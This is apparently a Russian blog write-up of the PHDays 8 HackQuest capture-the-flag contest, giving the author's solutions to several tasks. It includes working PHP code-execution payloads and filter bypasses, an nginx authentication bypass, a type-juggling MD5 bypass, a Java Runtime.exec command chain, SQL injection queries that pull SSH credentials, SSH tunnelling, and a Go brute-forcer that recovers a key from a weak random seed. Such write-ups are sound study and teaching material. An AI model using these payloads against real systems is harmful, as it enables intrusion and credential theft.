PHDays 8 HackQuest
С 23 по 29 апреля в рамках предстоящей конференции по информационной безопасности Positive Hack Days 8 проходил конкурс HackQuest — мероприятие в формате CTF, ориентированное в первую очередь на веб-технологии и соответствующие уязвимости. Соревнование проводилось онлайн, любой желающий мог присоединиться к нему через специального бота в Telegram. Всего в нём приняли участие 445 человек, из которых 35 решили хотя бы одно задание.
Это был первый серьёзный CTF-ивент, в котором я поучаствовал, заняв седьмое место с 1670 очками и решив 6 из 12 задач. В целом получилось очень интересно, конкурсом я остался доволен. В этом посте хочу рассказать о некоторых задачах и о том, как я их решал (или во всяком случае пытался).
event0
Дано: файл event0
Имеем бинарный файл размером 14472 байта без какого-либо опознаваемого заголовка, file и binwalk не дали никаких результатов.
Если посмотреть его в двоичном виде (например в онлайн-сервисе RawPixels), то легко обнаруживается период 24 байта и, следовательно, всего 603 записи в таком формате.
Имя файла намекает на /dev/input/event0
— символьное устройство в Linux. Проверяем, расчехляем поисковик и ищем event0 24 bytes
:
Бинго! В таком формате в системах на базе ядра Linux передаются события о нажатиях кнопок на клавиатуре, перемещениях и щелчках мыши и т. д. Размер записи в 24 байта означает, что она была сделана на 64-битной системе.
Кратко и понятно этот интерфейс описан в документации ядра в Documentation/input/input.rst, сами исходники лежат в include/uapi/linux/input.h. Оттуда можно в первую очередь узнать о структуре данных:
struct input_event {
struct timeval time;
unsigned short type;
unsigned short code;
unsigned int value;
};
Из полученной информации делаем вывод, что каждая запись выглядит следующим образом. Так как речь идёт об архитектуре x86_64, то все значения хранятся в little endian.
Тип данных | Значение |
---|---|
uint64 | Штамп времени Unix |
uint64 | Микросекунды |
uint16 | Тип события |
uint16 | Код события |
int32 | Значение |
Теперь разберёмся, что за типы, коды и значения бывают. Информация об этом есть в документации в файле Documentation/input/event-codes.rst, исходный код в include/uapi/linux/input-event-codes.h.
Давайте парсить! Я решал задачу на питоне, у него ведь есть подходящий модуль struct
для парсинга и формирования структур. Посмотрим для начала, какие вообще типы событий есть в предоставленном файле:
import struct
RFORMAT = '<QQHHi' # формат одной записи
RLEN = struct.calcsize(RFORMAT) # длина одной записи в байтах
with open('event0', 'rb') as f: data = f.read()
etypes = set()
for i in range(0, len(data), RLEN):
event = data[i:i+RLEN]
sec, usec, etype, ecode, evalue = struct.unpack(RFORMAT, event)
etypes.add(etype)
print(etypes)
На выводе получили {0, 1, 4}
, значит в файле есть всего три типа событий: синхронизация (0), клавиатура (1) и прочие (4). Нас будут интересовать только события клавиатуры, поэтому остальные будем игнорировать в коде.
В начало файла добавляем коды клавиш из input-event-codes.h
:
keycodes = {
0: 'RESERVED',
1: 'ESC',
2: '1',
# вырезано
248: 'MICMUTE',
}
В цикл дописываем отбрасывание ненужных данных и вывод событий клавиатуры:
if etype != 1: continue
keycode = keycodes[ecode]
# нажатие спецклавиш выделил отдельно для визуальной наглядности — жёлтый
if evalue == 1 and len(keycode) > 1:
print(f'\033[33m{keycode}', end=' ')
# нажатие остальных клавиш
elif evalue == 1:
print(f'\033[32m{keycode}', end=' ')
# интересует отжатие только спецклавиш, чтобы не засорять вывод
elif evalue == 0 and len(keycode) > 1:
print(f'\033[31m{keycode}', end=' ')
Получаем вот такой красивый вывод:
Видим, что запускается vim для изменения файла key.txt, после чего в редакторе выполняются некие магические действия (да, я адепт nano, смиритесь), результатом которых становится появление в файле флага. Воспроизводим все действия и получаем флаг.
Флаг: cdeff3fcdef87236363f23333f265364
mnogorock
Дано: страница 172.104.137.194
Заходим на страницу, видим пустоту, смотрим исходный код:
<!-- POST,command,inform() -->
От нас хотят, чтобы мы сделали POST-запрос, в котором в передаваемых данных поле command
со значением inform()
. Делаем, получаем:
<!-- POST,command,inform() -->du u now de wei?
Попахивает выполнением произвольного кода, попробуем передать phpinfo()
вместо inform()
:
<!-- POST,command,inform() -->No. '(T_STRING) phpinfo'.<script>document.location='https://www.youtube.com/watch?v=Y54ABqSOScQ';</script>
Не всё так просто! Нашу попытку славливает парсер и не даёт вызвать произвольную функцию. Очевидно, код получает массив всех токенов из входных данных при помощи функции token_get_all
и проверяет их по какому-то списку разрешённых, прежде чем передавать их на выполнение. Поэкспериментируем и посмотрим, на какие типы токенов страница ругается, а на какие нет.
Код проверки не ругается на строки, это же прекрасно! Вы знали, что в PHP можно вызывать строки, и тогда вызовется функция с названием, равным этой строке? Ну теперь то точно знаете. Передаём в качестве команды 'system'('id')
и радуемся:
<!-- POST,command,inform() -->uid=33(www-data) gid=33(www-data) groups=33(www-data)
Получили полноценный RCE, найти флаг — дело техники, в данном конкурсе они чаще всего лежат в корне с именем из рандомных символов.
Стоит ещё разве что взглянуть на код проверки. В нём перечислены разрешённые типы токенов, а также разрешённые функции (точнее всего одна — inform
). Всегда интересно, как задания выглядят под капотом.
function _runPHP($source) {
$source = "return " . $source . ";";
if (function_exists("token_get_all")) {//tokenizer extension may be disabled
$php = "<?php\n" . $source . "\n?>";
$tokens = token_get_all($php);
foreach ($tokens as $token) {
$type = $token[0];
if (is_long($type)) {
if (in_array($type, array(
T_OPEN_TAG,
T_RETURN,
T_WHITESPACE,
T_ARRAY,
T_LNUMBER,
T_DNUMBER,
T_CONSTANT_ENCAPSED_STRING,
T_DOUBLE_ARROW,
T_CLOSE_TAG,
T_NEW,
T_DOUBLE_COLON
))) {
continue;
}
if ($type == T_STRING) {
$func = strtolower($token[1]);
if (in_array($func, array(
//keywords allowed
"inform"
))) {
continue;
}
}
exit("No. '(" . token_name($type) . ") " . $token[1] . "'.<script>document.location='https://www.youtube.com/watch?v=Y54ABqSOScQ';</script>" );
}
}
}
return eval($source);
}
function inform(){
echo 'du u now de wei?';
}
echo '<!-- POST,command,inform() -->';
_runPHP($_POST['command']);
Флаг: 1db48e008ab5dbbd7396caca25cfc115
CryptoApocalypse
Дано: страница 92.53.66.223
Заходим на страницу, видим поле для ввода адреса. Вводим туда адрес какой-нибудь сайта, скрипт подргружает его и отображает нам — обычный веб-прокси. На скриншоте ниже в качестве примера phdays.com:
Также в комментариях видно, судя по всему, некоторую криптографическую подпись страницы:
<!--Sign: rD2wDRtfq9O98yhCHVDp4zVRuFqzwLbX-->
Но ведь никто же не обязывает нас указывать адрес удалённого сайта! Помимо всего прочего, PHP поддерживает схему file://
, которая позволяет обращаться к локальным файлам. Пробуем обратиться к самому PHP-файлу file:///var/www/html/index.php
:
Ну, почти получилось. Экспериментальным путём определяем, что фильтрация срабатывает на наличие подстроки file://
. К счастью, это очень легко обойти, достаточно вставить пробел между двоеточием и слешем (file: ///var/www/html/index.php
) et voilà:
function generateRandomString($length = 32) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
//░░░░▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄
//░░░░█░░░░▒▒▒▒▒▒▒▒▒▒▒▒░░▀▀▄
//░░░█░░░▒▒▒▒▒▒░░░░░░░░▒▒▒░░█
//░░█░░░░░░▄██▀▄▄░░░░░▄▄▄░░░█
//░▀▒▄▄▄▒░█▀▀▀▀▄▄█░░░██▄▄█░░░█
//█▒█▒▄░▀▄▄▄▀░░░░░░░░█░░░▒▒▒▒▒█
//█▒█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄▒█
//░█▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█
//░░█░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█
//░░░█░░██░░▀█▄▄▄█▄▄█▄████░█
//░░░░█░░░▀▀▄░█░░░█░███████░█
//░░░░░▀▄░░░▀▀▄▄▄█▄█▄█▄█▄▀░░█
//░░░░░░░▀▄▄░▒▒▒▒░░░░░░░░░░█
//░░░░░░░░░░▀▀▄▄░▒▒▒▒▒▒▒▒▒▒░█
//░░░░░░░░░░░░░░▀▄▄▄▄▄░░░░░█
//FLAG: EasyPeasy
if (isset($_GET['jbfc'])){
$url = strtolower(urldecode($_GET['jbfc']));
if (mb_stripos($url, "'", 0)!==false) {
echo "<!-- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND sign=true AND url '".$url."' at line 1 -->";
};
if (mb_stripos($url, 'file://', 0)!==false) {
echo '<center><div class="tenor-gif-embed" data-postid="10882532" data-share-method="host" data-width="33%" data-aspect-ratio="1.0"><a href="https://tenor.com/view/floppy-disk-black-woman-oh-no-you-didnt-gif-10882532">Floppy Disk Black Woman GIF</a> from <a href="https://tenor.com/search/floppydisk-gifs">Floppydisk GIFs</a></div><script type="text/javascript" async src="https://tenor.com/embed.js"></script></center>';
} else {
echo "<!--Sign: ".generateRandomString()."-->";
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
}
}
Вот и всё задание :) Сразу под тролльфейсом флаг. По правилам соревнования, его перед отправкой нужно захешировать MD5.
Забавно, насколько задание получилось тролльбасным. Например, здесь обрабатывается вариант, когда в поле URL вводится одинарная кавычка — выводится фейковое сообщение об ошибке в запросе к MySQL. Можно сразу заподозрить неладное, хотя бы потому что между названием атрибута url
и строкой нет никакого оператора:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND sign=true AND url 'foo'' at line 1
“Криптографическая подпись” оказалась вообще рандомным набором символов. А первая подсказка организаторов — ну, в общем, сами посмотрите :) Здорово, когда к разработке заданий подходят с юмором!
Подсказки организаторов:
- check dump.tar.gz
- No need for ssrf, read the source file!
- Ok, ok! You should get the source code using “file” via curl!
Флаг: 93678ae72b0215990b4c9e368c4cf01b
k3y
Дано: файл k3y
Имеем исполняемый файл, file
выводит следующее:
k3y: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
Запустим программу, посмотрим, что она делает:
Enter a random number. Like really:
1337000900080091
Enter your flag:
aabbccffeeddffccaabbccdd55443322
r_HWVfHUJyYRXjAstd1akGCs46f55sieATFh3hRv2DE9nk8gpPLSQQo8MV7Th38h
Hint:
see other hand other ask group over work on for number the work have able about into last give one
You should decrypt: xinVX2fu0Fhaga3UIdDTVxr0s4ArZ5Xpyt56PFJ44qh1N2yElg7HxjunoSheDUFT
Hint: work first my small own person over one woman leave get for long their say his and from company know
При этом, если ввести недостаточно случайное по мнению программы число, то она завершит свою работу с предложением достаточно случайного числа. А вот введя флаг неверной длины, она обработает его в любом случае.
Похоже, что программа зашифровывает флаг каким-то образом при помощи случайного числа. Результат кодируется URL-безопасным Base64. Итоговая цель — расшифровать заданную строку и получить таким образом флаг.
Пришло время запустить дизассемблер (я использую Hopper Disassembler) и покопаться в коде. Из файла не была удалена отладочная информация, что нам на руку.
Внутри находим структуру и множество стандартных процедур, характерных для программ, написанных на Go. Основной код сводится к трём методам:
- main.init: здесь инициализируются используемые модули стандартной библиотеки языка Go, среди которых
crypto/aes
,crypto/cipher
,encoding/base64
иmath/rand
. Из этого сразу делаем вывод, что помимо всего прочего используется алгоритм симметричного шифрования AES, а также криптографически небезопасный генератор псевдослучайных чисел (ГПСЧ). - main.encrypt: принимает на вход ключ и строку, создаёт экземпляр шифратора AES с алгоритмом сцепления блоков CFB, генерирует IV размером 16 байт (размер блока AES) из ГПСЧ (
rand.Read()
) и возвращает зашифрованные данные, перед этим закодировав их в Base64. Осталось узнать, откуда берётся ключ. - main.main: тут происходит основной экшен. Здесь считывается seed и проверяется, что он больше или равен 1000000000000000 (тот самый критерий “случайности”). Затем считывается флаг и проверяется его длина — он должен быть 32 байта длиной. Наконец, в байтовый массив ключа считывается 32 байта из ГПСЧ и вызывается функция шифрования, результат которой выводится на экран.
Более того, первым 16-байтным блоком в зашифрованных данных сохраняется IV в сыром виде, а он соответствует байтам 32-47 вывода ГПСЧ. Воспользуемся этим, чтобы восстановить и ключ для целевого шифротекста. Ещё учтём свойство генератора языка Go, в котором seed хоть и является типом Int64
, но внутри он берётся по модулю 2^31-1, что значительно сокращает поле для брутфорса (около 2 млрд. вариантов в худшем случае) — исходник библиотеки можно посмотреть тут. И поэтому же не обязательно начинать брутить с числа 1000000000000000, всё равно оно берётся по модулю.
Пишем брутфорсер на Go:
package main
import (
"bytes"
"fmt"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"math/rand"
)
func main() {
const (
// Зашифрованный текст
enc_text = "xinVX2fu0Fhaga3UIdDTVxr0s4ArZ5Xpyt56PFJ44qh1N2yElg7HxjunoSheDUFT"
// Пределы перебора
start int64 = 0
end int64 = (1 << 31) - 1
)
// Декодируем зашифрованные данные из base64
// и нарезаем их: первые 16 байт — IV, остальное — шифротекст
enc_bytes, _ := base64.StdEncoding.DecodeString(enc_text)
iv := enc_bytes[:16]
ct := enc_bytes[16:]
// Создаём массив под ключ + IV из ГПСЧ
keyiv := make([]byte, 48)
// Перебираем все возможные seed
for n := start ; n < end; n++ {
rand.Seed(n)
rand.Read(keyiv)
if bytes.Equal(iv, keyiv[32:]) { break }
}
// Создаём шифратор AES и блочный враппер в режиме CFB
block, _ := aes.NewCipher(keyiv[:32])
stream := cipher.NewCFBDecrypter(block, iv)
// Расшифровываем исходные данные
pt := make([]byte, 32)
stream.XORKeyStream(pt, ct)
fmt.Println(string(pt))
}
Код сразу выводит ответ — флаг. На моей машине перебор занял около 3,5 часов со скоростью перебора примерно 125000 seed/секунду. Если лень ждать, то можно распараллелить код на несколько ядер.
Вывод — не занимайтесь реализацией криптографических алгоритмов сами! Используйте для этого готовые библиотеки.
Флаг: 583b4a1e5d34d34090de35b995cafda7
sincity
Дано: страница 172.104.154.29
Заходим на страницу, видим красивую фотографию города, имя которого мне, к сожалению, не известно. В исходном коде страницы среди прочего есть комментарий со списком файлов в текущей папке:
array(2) {
[0]=>
string(6) "bg.jpg"
[1]=>
string(9) "index.php"
}
Такой формат вывода намекает на использование языка PHP.
Заходим на какую-нибудь несуществующую страницу, видим сигнатуру сервера: Resin/4.0.55 Server: 'app-0'
. Resin — веб-сервер и сервер приложений, написанный на языке Java, но он также поддерживает и выполнение PHP-программ при помощи движка Quercus. Стоит отметить, что в данной конфигурации запросы форвардятся к нему через nginx.
Больше тут, похоже, делать нечего, так что запускаем dirb
и ищем что-нибудь интересное… и находим! В корне есть папка dev
, доступ к которой защищён логином-паролем. Где наша не пропадала! Криво настроенную аутентификацию легко обойти:
http://172.104.154.29/\dev
Nginx будет думать, что мы запрашиваем не папку dev
и не будет требовать аутентификации, а Resin с радостью покажет нам содержимое этой папки. Переходим туда и видим другой состав файлов в исходном коде страницы:
array(3) {
[0]=>
string(9) "index.php"
[1]=>
string(8) "task.php"
[2]=>
string(17) "task.php~~~edited"
}
Вот это уже интересно! Смотрим содержимое task.php~~~edited
:
error_reporting(0);
if(md5($_COOKIE['developer_testing_mode'])=='0e313373133731337313373133731337')
{
if(strlen($_GET['constr'])===4){
$c = new $_GET['constr']($_GET['arg']);
$c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']);
}else{
die('Swimming in the pool after using a bottle of vodka');
}
}
Во-первых нужно обойти проверку равенства MD5 куки заданному значению. Тут есть нестрогое сравнение (==
), которое можно эксплуатировать при помощи жонглирования типами (type juggling, можно почитать тут). Мы подберём такой хеш, который при нестрогом сравнении будет “равен” тому, что захардкожен:
for ($i=0;;$i++) {
$h = md5(strval($i));
if ($h == '0e313373133731337313373133731336') {
echo "{$i} {$h}";
break;
}
}
После некоторого ожидания получаем значение 240610708
, MD5-хеш которого равен 0e462097431906509019562988736854
. Подставляем это значение в куку, проходим проверку, идём дальше.
Теперь у нас появляется прекрасная возможность создать класс и вызвать в нём цепочку из двух методов, но всё не так просто. Название класса должно быть ровно 4 символа. В дефолтном PHP таких всего один: Phar
, он нам ничем не поможет… но у нас то не дефолтный PHP, а Quercus! Смотрим документацию и находим прекрасное — мы же можем создавать Java-классы!
Итак, GET-параметр constr
у нас будет равен Java
. Теперь бы подобрать что-нибудь интересное для остальных, чтобы в идеале вызвать RCE. Тут на помощь приходит моя любимая страничка с reverse shell’ами. Там помимо всего прочего есть пример для Java, который идеально вписывается в предложенную в задании схему. Делаем:
?constr=Java&arg=java.lang.Runtime¶m[]=getRuntime¶m[]=exec&test=КОМАНДА
Всё остальное просто — заводим себе reverse shell любым удобным способом и получаем флаг. Главное учитывать, что в test
может быть вызвана только одна команда, никаких пайпов и подобного.
Подсказки организаторов:
- look about backend specification
Флаг: 67e184507724240c6fabb77152c1e061
DigitalResistance
Дано: Telegram-бот @phdproxybot
Организаторы придумали одновременно и интересное задание, и полезную штуку в свете блокировки мессенджера Telegram на территории России. Я не сразу понял, что это настоящий таск, думал это просто полезная фича — ещё один прокси. Но нет, всё гораздо запутаннее :)
Я начал с того, что просканировал прокси-сервер на открытые порты и нашёл интересное:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
80/tcp open http nginx 1.10.3 (Ubuntu)
1080/tcp open socks5 (Username/password authentication required)
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
Два SSH-сервера и веб-сервер. Там точно что-то должно быть! Заходим на веб-сервер, на странице в исходный код закрался комментарий:
<!-- <h3><a href="./?get=flag">Flag</a></h3> -->
Крутяк! Таск зарешан! Или нет?
Access from external ip denied! Only localhost allowed
Значит нам нужно достучаться до этой страницы с локалхоста, то есть с самого прокси-сервера. Что сложного? Делаем запрос через сам SOCKS-прокси с выданными нам логином/паролем:
$ curl --proxy socks5h://ЛОГИН:ПАРОЛЬ@172.104.226.97:1080 'http://127.0.0.1/?get=flag'
curl: (7) Can't complete SOCKS5 connection to 127.0.0.1:80. (2)
Ахаха, nice try. На прокси-сервере настроен белый список, в котором, разумеется, отсутствует 127.0.0.1, localhost и подобные. Будем искать другой путь.
Окей, наверняка второй SSH-сервер там не просто так. Его вполне можно использовать и как SOCKS-прокси, и как средство для проброса отдельного порта себе. Найти бы только логин/пароль к нему. Выданные ботом не подходят сюда, так что помучаем его, ибо нефиг.
Меняем своё имя в Telegram на одинарную кавычку, после чего пишем боту. Получаем SQL Error! unrecognized token: "'"
. Да это же SQL-инъекция в чистом виде! По тексту ошибки делаем вывод, что перед нами SQLite. Прекрасно, делаем всё как обычно:
- подбираем количество столбцов
ИМЯ: Forst' AND 1=0 UNION SELECT '1','2','3','4'/* ОТВЕТ: … 2
- вытаскиваем название таблицы
ИМЯ: Forst' AND 1=0 UNION SELECT '1',name,'3','4' FROM sqlite_master WHERE type='table'/* ОТВЕТ: … users
- выводим структуру таблицы
ИМЯ: Forst' AND 1=0 UNION SELECT '1',sql,'3','4' FROM sqlite_master WHERE type='table'/* ОТВЕТ: … CREATE TABLE users (userid text, userpass text, fullname text, ssh boolean)
Похоже, нас будут интересовать только пользователи, у которых разрешён доступ к SSH, то есть атрибут ssh
установлен в значение TRUE
.
- забираем данные нужной учётной записи
ИМЯ: Forst' UNION SELECT '1',PRINTF('%s %s %s',userid,userpass,fullname),'3','4' FROM users WHERE ssh = 1/* ОТВЕТ: … 1 durovportfwd durov
Ура, у нас теперь есть логин durov
и пароль durovportfwd
. Пароль даже намекает, что делать дальше. Пробуем в SSH:
$ ssh -D 12345 -p 2222 durov@172.104.226.97 :(
Host key fingerprint is SHA256:qKXJng95VcBQQL3wldoqZxJ3O1rl2qodKxvou4NI4/8
durov@172.104.226.97's password: durovportfwd
This account is currently not available.
Логин/пароль подошли, но теперь выдаётся сообщение о недоступности учётной записи. Такое появляется, когда в качестве шелла для учётной записи установлен, например, /sbin/nologin
— его цель не давать пользователю выполнять никакие команды на сервере. Но нам то это не нужно! Отключаем запуск шелла и создание терминала вообще ключами -N -T
:
$ ssh -N -T -D 12345 -p 2222 durov@172.104.226.97
Host key fingerprint is SHA256:qKXJng95VcBQQL3wldoqZxJ3O1rl2qodKxvou4NI4/8
durov@172.104.226.97's password: durovportfwd
Никакой ошибки нет, это значит что мы сделали всё верно! На порте 12345 открылся SOCKS-прокси, который замечательно работает:
$ curl --proxy socks5h://127.0.0.1:12345 'http://ifconfig.co'
172.104.226.97
Пробуем, наконец, забрать флаг:
$ curl --proxy socks5h://127.0.0.1:12345 'http://127.0.0.1/?get=flag'
curl: (7) Failed to receive SOCKS5 connect request ack.
Да ёлки-палки! Похоже, веб-сервер для локалхоста висит на другом порте. Перебираем и в итоге обнаруживаем работающий веб-сервер на порте 8080, откуда и забираем аналогичным образом флаг.
Подсказки организаторов:
- in quote we trust. Your nickname is the key.
Флаг: 5dab4ef39defa2a0aae27c815de63072
audio.mp3
Дано: файл audio.mp3
Качаем, слушаем файл. В нём человек произносит 27 шестнадцатеричных цифр: fa22516a874daf77d758d8d1a6c
. Такое число не гуглится, так что пока откладываем в сторону.
Сканируем файл binwalk’ом и находим в конце него защищёный паролем RAR-архив размером 180 байт. Пробуем значение из записи — не подходит. Да и длина пароля какая-то странная, не находите? Все флаги в этом конкурсе — 32 шестнадцатеричных цифры. Наверняка часть символов из него вырезали, чтобы жизнь мёдом не казалась. Но какие? Перебирать все возможные варианты займёт слишком много времени, скорее наступит тепловая смерть вселенной, чем получится подобрать пароль. Изучим запись подробнее.
Если прислушаться, то на записи иногда слышны щелчки, которые не похожи на некачественную запись с микрофона. Если посмотреть на форму волны в этих местах, то видно резкий скачок амплитуды длительностью в 1 сэмпл:
Помечаем такие скачки маркерами, всего их оказывается ровно 5, как раз столько символов не хватало исходному паролю до 32-х. Эти куски записи просто были неаккуратно удалены, что позволило с лёгкостью определить их местоположение. Картинка ниже кликабельна.
Таким образом, получаем маску пароля fa22516a_874d_af77d758_d_8d_1a6c
длиной 32 символа, осталось перебрать её в автоматическом режиме, распаковать архив и вытащить из него флаг.
Из всех ломалок паролей я предпочитаю hashcat, которому на вход нужно подать не весь архив, а специально сформированный хеш. Чтобы его вытащить, используем утилиту rar2john
из комплекта John the Ripper или аналогичный сервис онлайн. Получаем:
$RAR3$*0*34f119a2d4ed11fd*a9778aad84777d4629c27add29b4fca2
Теперь о грустном. На момент написания этой заметки мне так и не удалось сбрутить пароль. Причин тому несколько:
- Из-за особенностей деривации ключа в RAR (262144 итерации SHA-1 со счётчиком) генерация одного ключа занимает много времени. На моём железе я смог выжать максимум 900 паролей в секунду (хорошо, что ещё ноутбук не сгорел).
- Полученная из аудио-файла маска не совпадает с подсказанной организаторами. Подсказку дали чуть больше чем за 3 часа до окончания соревнования, перебрутить всё заново не представлялось возможным. Возможно, что-то где-то напутали.
- Произношение говорящего на записи оставляет желать лучшего, не ясно, произносит ли он букву A или E. Таких букв всего 4, что увеличивает пространство паролей (и соответственно время перебора) в 16 раз. Для таких случаев придуман фонетический алфавит.
- Не исключаю, что просто-напросто rar2john вытащил неверный хеш из архива. Формат RAR закрытый и плохо документированный, так что если это действительно так, то это вовсе не удивительно.
Я не теряю надежды, и если у меня таки что-то получится, то я обновлю этот пост.
Подсказки организаторов:
- task is easy, you can’t miss flag, because it marked by “Flag is” sign.
- also, md5(‘audio.mp3’) - is not a flag, really. This task is easy, but not so.
- Password length - 32 characters, listen carefully!
xxxxxxxx_xxxxx_xxxxxxx_x_xx_xxxx